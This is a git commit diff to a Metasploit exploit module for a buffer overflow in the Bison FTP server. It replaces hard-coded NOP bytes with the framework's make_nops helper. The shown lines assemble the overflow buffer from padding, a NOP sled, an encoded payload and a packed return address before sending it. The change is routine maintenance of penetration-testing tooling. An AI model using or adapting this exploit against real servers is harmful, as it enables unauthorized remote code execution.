Update bison_ftp_bof.rb

bug/bundler_fix
JT 2015-11-20 09:58:44 +08:00
parent 335944aa9a
commit bd856322e0
1 changed files with 2 additions and 2 deletions

View File

@ -77,9 +77,9 @@ class Metasploit4 < Msf::Exploit::Remote
connect #connect for the second time
buf = rand_text_alpha(1028)
buf << "\x90" * 16
buf << make_nops(16)
buf << payload.encoded
buf << "\x90" * (388 - payload.encoded.length)
buf << make_nops(388 - payload.encoded.length)
buf << [target.ret].pack('V')
buf << rand_text_alpha(39)
print_status('Sending payload...')